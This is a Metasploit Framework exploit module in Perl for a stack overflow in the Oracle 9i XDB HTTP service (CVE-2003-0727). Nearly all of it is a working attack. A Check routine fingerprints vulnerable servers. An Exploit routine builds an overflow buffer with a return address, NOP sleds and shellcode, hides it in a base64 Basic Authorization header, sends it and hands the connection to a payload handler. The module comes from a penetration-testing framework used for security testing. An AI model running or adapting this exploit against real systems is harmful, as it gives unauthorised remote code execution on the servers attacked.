
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::oracle9i_xdb_http;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {

	'Name'  => 'Oracle 9i XDB HTTP PASS Overflow (win32)',
	'Version'  => '$Revision: 1.2 $',
	'Authors' => [ 'y0 [at] w00t-shell.net', ],
	'Arch'  => [ 'x86' ],
	'OS'    => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003'],
	'Priv'  => 0,
	'UserOpts'  =>
	  {
		'RHOST' => [1, 'ADDR', 'The target address'],
		'RPORT' => [1, 'PORT', 'The target port', 8080],
		'SSL'   => [0, 'BOOL', 'Use SSL'],
	  },

	'AutoOpts' => { 'EXITFUNC' => 'thread' },
	'Payload' =>
	  {
		'Space'     => 450,
		'BadChars'  => "\x00",
		'Prepend'   => "\x81\xc4\xff\xef\xff\xff\x44",
		'Keys'      => ['+ws2ord'],
	  },

	'Description'  => Pex::Text::Freeform(qq{
		This module exploits a stack overflow in the authorization
		code of the Oracle 9i HTTP XDB service. David Litchfield, 
        has illustrated multiple vulnerabilities in the Oracle
        9i XML Database (XDB), during a seminar on "Variations
        in exploit methods between Linux and Windows" presented
        at the Blackhat conference. 
}),

	'Refs'  =>
	  [
		['OSVDB', '2449'],
		['BID', '8375'],
		['CVE', '2003-0727'],
		['URL', 'http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-litchfield-paper.pdf']
	  ],

	'DefaultTarget' => 0,
	'Targets' => [

		['Oracle 9.2.0.1 Universal', 0x60616d46],

	  ],

	'Keys' => ['oracle'],

	'DisclosureDate' => 'Aug 18 2003',
  };

sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
	return($self);
}

sub Check {
	my ($self) = @_;
	my $target_host = $self->GetVar('RHOST');
	my $target_port = $self->GetVar('RPORT');

	my $s = Msf::Socket::Tcp->new
	  (
		'PeerAddr'  => $target_host,
		'PeerPort'  => $target_port,
		'LocalPort' => $self->GetVar('CPORT'),
		'SSL'       => $self->GetVar('SSL'),
	  );
	if ($s->IsError) {
		$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
		return $self->CheckCode('Connect');
	}

	$s->Send("GET / HTTP/1.0\r\n\r\n");
	my $res = $s->Recv(-1, 20);
	$s->Close();

	if ($res !~ /9\.2\.0\.1\.0/) {
		$self->PrintLine("[*] This server does not appear to be vulnerable.");
		return $self->CheckCode('Safe');
	}

	$self->PrintLine("[*] Vulnerable installation detected :-)");
	return $self->CheckCode('Detected');
}

sub Exploit
{
	my $self = shift;
	my $target_host = $self->GetVar('RHOST');
	my $target_port = $self->GetVar('RPORT');
	my $target_idx  = $self->GetVar('TARGET');
	my $offset      = $self->GetVar('OFFSET');
	my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
	my $target = $self->Targets->[$target_idx];

	if (! $self->InitNops(128)) {
		$self->PrintLine("[*] Failed to initialize the nop module.");
		return;
	}

	my $splat =
	  "meta:". Pex::Text::LowerCaseText(442). "\xeb\x64\x42\x42".
	  pack('V', $target->[1]). "wwwwoooottttsssshhhhllll".
	  $self->MakeNops(242). "\xeb\x10". $self->MakeNops(109). $shellcode;

	my $sploit =
	  "GET / HTTP/1.1". "\r\n".
	  "Host: $target_host:$target_port". "\r\n".
	  "User-Agent: Mozilla/5.0 (X11; U; Linux i686;".
	  "en-US; rv:1.7.12) Gecko/20050923". "\r\n".
	  "Accept: text/xml,application/xml,application".
	  "/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,".
	  "image/png,*/*;q=0.5". "\r\n".
	  "Accept-Language: en-us,en;q=0.5". "\r\n".
	  "Accept-Encoding: gzip,deflate". "\r\n".
	  "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7". "\r\n".
	  "Keep-Alive: 300". "\r\n".
	  "Connection: keep-alive". "\r\n".
	  "Authorization: Basic ". Pex::Text::Base64Encode($splat, '').
	  "\r\n\r\n";

	$self->PrintLine(sprintf("[*] Trying to exploit target %s 0x%.8x", $target->[0], $target->[1]));

	my $s = Msf::Socket::Tcp->new
	  (
		'PeerAddr'  => $target_host,
		'PeerPort'  => $target_port,
		'LocalPort' => $self->GetVar('CPORT'),
		'SSL'       => $self->GetVar('SSL'),
	  );
	if ($s->IsError) {
		$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
		return;
	}

	$s->Send($sploit);
	$self->Handler($s);
	$s->Close();
	return;
}

1;
